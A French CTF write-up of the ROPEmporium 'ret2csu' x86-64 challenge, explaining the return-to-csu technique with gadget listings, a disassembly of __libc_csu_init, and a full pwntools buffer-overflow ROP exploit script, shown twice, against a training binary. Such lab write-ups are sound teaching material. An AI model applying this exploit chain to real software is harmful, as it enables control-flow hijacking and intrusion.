Note

Dernier exercice de ROPEmporium, j’ai effectivement sauté fluff et pivot puisque je voulais apprendre cette technique car je l’ai rencontrée lors d’un CTF. Je reviendrai peut-être sur pivot mais je ne pense pas faire fluff puisqu’il est bien trop chiant.

Je vais essayer d’expliquer au mieux ce que j’ai compris du ret2csu.

Comme d’habitude, si j’ai fait des erreurs, n’hésitez pas à me contacter sur discord pour me le dire.

Si vous ne comprenez pas quelque chose, je vous invite à regarder la série dans l’ordre.

Et cet exercice reprend le principe de callme, donc si vous n’avez pas lu mon writeup sur ce dernier je vous conseille d’y jeter un oeil.

Description

Same same, but different

This challenge is very similar to "callme", with the exception of the useful gadgets. Simply call the `ret2win()` function in the accompanying library with same arguments that you used to beat the "callme" challenge (`ret2win(0xdeadbeef, 0xcafebabe, 0xd00df00d)` for the ARM & MIPS binaries, `ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)` for the x86_64 binary.

Populating the elusive 3rd register using ROP can prove more difficult than you might expect, especially in smaller binaries with fewer gadgets. This can become particularly irksome since many useful GLIBC functions require three arguments.

So little room for activities

Start by using ropper to search for sensible gadgets, if there's no `pop rdx` for example, perhaps there's a `mov rdx, rbp` that you could chain with a `pop rbp`. If you're all out of ideas go ahead and read the last paragraph.

Universal

Fortunately some very smart people have come up with a solution to your problem and as is customary in infosec given it a collection of pretentious names, including "Universal ROP", "μROP", "return-to-csu" or just "ret2csu". You can learn all you need to on the subject from this [BlackHat Asia paper](https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf). Note that more recent versions of gcc may use different registers from the example in `__libc_csu_init()`, including the version that compiled this challenge.

File information

Avant de commencer à regarder l’executable, il faut savoir à quoi on s’attaque, on va utiliser file pour avoir des informations sur le fichier, puis checksec pour voir les éventuelles sécuritées avec lesquelles il a été compilé

file ret2csu

ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f722121b08628ec9fc4a8cf5abd1071766097362, not stripped

On va donc s’attaquer à un executable en 64bit, qui n’est pas strippé

Maintenant le checksec:

checksec ret2csu

[*] '/home/conflict/ropemporium/ret2csu_x64/ret2csu'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  '.'

Comme pour les autres exercices NX est activé donc pas de shellcode, mais ce n’est pas un problème puisque la description de l’exercice nous indique exactement quoi faire.

Exploitation

Pour rappel, le but de cet exercice est d’appeller la fonction ret2win() avec en paramètres 0xdeadbeefdeadbeef, 0xcafebabecafebabe et 0xd00df00dd00df00d.

Même si ça paraît simple, on va vite se rendre compte que certains gadgets manquent…

Commençons par essayer de trouver des quoi modifier les trois registres nécessaires: rdi, rsi et rdx:

0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x0000000000400604 : pop rbp ; jmp 0x400590
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

On voit qu’on a un pop rdi, un pop rsi mais pas de pop rdx, donc impossible de modifier la valeur de rdx.

Voyons voir si un mov pourrait nous aider:

0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590

Non, rien d’utile ici… On va donc devoir effectuer un ret2csu pour pouvoir modifier nos trois registres.

Dans la plupart des éxecutables ELF, on retrouve une fonction nommée __libc_csu_init (si vous voulez savoir en détail ce qu’elle fait, je vous invite à lire ceci). C’est cette dernière qui va nous permettre de contrôler (entre autres) rdx.

On peut la désassembler pour voir un peu à quoi elle ressemble:

disass __libc_csu_init 

Dump of assembler code for function __libc_csu_init:
   0x0000000000400640 <+0>:	push   r15
   0x0000000000400642 <+2>:	push   r14
   0x0000000000400644 <+4>:	mov    r15,rdx
   0x0000000000400647 <+7>:	push   r13
   0x0000000000400649 <+9>:	push   r12
   0x000000000040064b <+11>:	lea    r12,[rip+0x20079e]        # 0x600df0
   0x0000000000400652 <+18>:	push   rbp
   0x0000000000400653 <+19>:	lea    rbp,[rip+0x20079e]        # 0x600df8
   0x000000000040065a <+26>:	push   rbx
   0x000000000040065b <+27>:	mov    r13d,edi
   0x000000000040065e <+30>:	mov    r14,rsi
   0x0000000000400661 <+33>:	sub    rbp,r12
   0x0000000000400664 <+36>:	sub    rsp,0x8
   0x0000000000400668 <+40>:	sar    rbp,0x3
   0x000000000040066c <+44>:	call   0x4004d0 <_init>
   0x0000000000400671 <+49>:	test   rbp,rbp
   0x0000000000400674 <+52>:	je     0x400696 <__libc_csu_init+86>
   0x0000000000400676 <+54>:	xor    ebx,ebx
   0x0000000000400678 <+56>:	nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400680 <+64>:	mov    rdx,r15
   0x0000000000400683 <+67>:	mov    rsi,r14
   0x0000000000400686 <+70>:	mov    edi,r13d
   0x0000000000400689 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x000000000040068d <+77>:	add    rbx,0x1
   0x0000000000400691 <+81>:	cmp    rbp,rbx
   0x0000000000400694 <+84>:	jne    0x400680 <__libc_csu_init+64>
   0x0000000000400696 <+86>:	add    rsp,0x8
   0x000000000040069a <+90>:	pop    rbx
   0x000000000040069b <+91>:	pop    rbp
   0x000000000040069c <+92>:	pop    r12
   0x000000000040069e <+94>:	pop    r13
   0x00000000004006a0 <+96>:	pop    r14
   0x00000000004006a2 <+98>:	pop    r15
   0x00000000004006a4 <+100>:	ret    
End of assembler dump.

Comme vous l’avez peut-être remarqué, on retrouve une série d’instructions pop suivies d’un ret, et au dessus, des instructions mov qui placent les valeurs des registres modifiés en dessous dans rdx, rsi et edi.

Le principe du ret2csu est donc de jump au premier pop rbx, puis une fois à l’instruction ret, jump sur le premier mov rdx, r15 pour avoir le contrôle sur le contenu du registre rdx ainsi que rsi et edi.

Vous l’avez peut-être remarqué, mais le dernier mov est un mov edi, r13d et non pas un mov rdi, r13, on devra donc re-modifier la valeur de rdi après ceci mais ce n’est pas un problème puisque nous avons un pop rdi ; ret pour le faire.

Commençons notre exploit avec tout d’abord le padding et la première partie:

Je n’explique pas comment trouver les adresses utilisées puisque je pars du principe que vous avez vu les précédents writeups et que vous savez le faire, si ce n’est pas le cas vous pouvez allez voir les premiers exercices

#!/usr/bin/env python3

from pwn import *

exe = ELF("ret2csu")

context.binary = exe


def conn():
    r = process([exe.path])

    return r


def main():
    r = conn()

    padding = b'A'*32 + b'B'*8


    init = 0x600e38
    win = 0x400510
    pop_rdi = 0x4006a3
    ret = 0x4004e6

    csu_pops = 0x40069a
    csu_movs = 0x400680

    payload = padding # Padding de 40 bytes pour commencer à réecrire RIP
    payload += p64(ret) # Patch l'alignement de la stack (Ubuntu)


    payload += p64(csu_pops) # Pop rbx, rbp, r12, r13, r14, r15

    payload += p64(0x00) # 0 dans RBX
    payload += p64(0x01) # 1 dans RBP pour que la comparaison RBX === RBP soit vraie
                         # (la valeur de RBX sera incrémentée de 1 avant la comparaison)
    payload += p64(init) # r12 = init (pour le call QWORD PTR [r12+rbx*8] d'après)
    payload += p64(0xdeadbeefdeadbeef) # r13
    payload += p64(0xcafebabecafebabe) # r14
    payload += p64(0xd00df00dd00df00d) # r15

Ici, on va donc jump sur la série de pop. On met tout d’abord 0 dans rbx et 1 dans RBP puisque si on regarde les lignes qui suivent les mov on voit ceci:

add    rbx,0x1
cmp    rbp,rbx
jne    0x400680 <__libc_csu_init+64>

Ici, on ajoute 1 à la valeur de rbx puis on compare les registres rbp et rbx et si il ne sont pas égaux on jump plus haut dans la fonction, or ce n’est pas ce qu’on veut. On fait donc en sorte que les deux valeurs soient égales lors de la comparaison.

La valeur init mise dans r12 est une valeur arbitraire, elle permet de mener à bien le call QWORD PTR [r12+rbx*8] qui suit.

Enfin, on place nos paramètres voulus dans r13, r14 et r15 puisque ce seront les valeurs qui finiront dans rdx, rsi et edi.

Passons maintenant à la deuxième partie de l’exploit:

    payload += p64(csu_movs) # rdx = r15, rsi = r14, edi = r13d
    payload += p64(0x00) # Puisque qu'il n'y a pas de ret après les mov
    payload += p64(0x00) # on va re-pop rbx, rbp, r12 etc...
    payload += p64(0x00) # et on les remplis donc de null bytes
    payload += p64(0x00) # puisqu'on ne va plus les utiliser
    payload += p64(0x00)
    payload += p64(0x00)
    payload += p64(0x00)
    payload += p64(pop_rdi) # On remet la bonne valeur dans rdi
    payload += p64(0xdeadbeefdeadbeef)
    payload += p64(ret)
    payload += p64(win)

    r.sendline(payload)
    print("Flag:", r.recvall().split(b'\n')[6].decode('utf-8'))


if __name__ == "__main__":
    main()

Cette fois, on saute donc à la série de mov. Après cette dernière, puisque la comparaison est validée, les valeurs des registres rbx, rbp, r12, r13, r14 et r15 sont re-modifiées et on doit donc y mettre des null bytes.

Enfin, on pop rdi, on y remet notre paramètre et on jump sur la fonction ret2win.

Final Payload

Voici donc l’exploit complet:

#!/usr/bin/env python3

from pwn import *

exe = ELF("ret2csu")

context.binary = exe


def conn():
    r = process([exe.path])

    return r


def main():
    r = conn()

    padding = b'A'*32 + b'B'*8


    init = 0x600e38
    win = 0x400510
    pop_rdi = 0x4006a3
    ret = 0x4004e6

    csu_pops = 0x40069a
    csu_movs = 0x400680

    payload = padding # Padding de 40 bytes pour commencer à réecrire RIP
    payload += p64(ret) # Patch l'alignement de la stack (Ubuntu)


    payload += p64(csu_pops) # Pop rbx, rbp, r12, r13, r14, r15

    payload += p64(0x00) # 0 dans RBX
    payload += p64(0x01) # 1 dans RBP pour que la comparaison RBX === RBP soit vraie
                         # (la valeur de RBX sera incrémentée de 1 avant la comparaison)
    payload += p64(init) # r12 = init (pour le call QWORD PTR [r12+rbx*8] d'après)
    payload += p64(0xdeadbeefdeadbeef) # r13
    payload += p64(0xcafebabecafebabe) # r14
    payload += p64(0xd00df00dd00df00d) # r15

    payload += p64(csu_movs) # rdx = r15, rsi = r14, edi = r13d
    payload += p64(0x00) # Puisque qu'il n'y a pas de ret après les mov
    payload += p64(0x00) # on va re-pop rbx, rbp, r12 etc...
    payload += p64(0x00) # et on les remplis donc de null bytes
    payload += p64(0x00) # puisqu'on ne va plus les utiliser
    payload += p64(0x00)
    payload += p64(0x00)
    payload += p64(0x00)
    payload += p64(pop_rdi) # On remet la bonne valeur dans rdi
    payload += p64(0xdeadbeefdeadbeef)
    payload += p64(ret)
    payload += p64(win)

    r.sendline(payload)
    print("Flag:", r.recvall().split(b'\n')[6].decode('utf-8'))


if __name__ == "__main__":
    main()

On peut vérifier qu’il fonctionne:

2023-03-12-233951_1013x653_scrot

GG !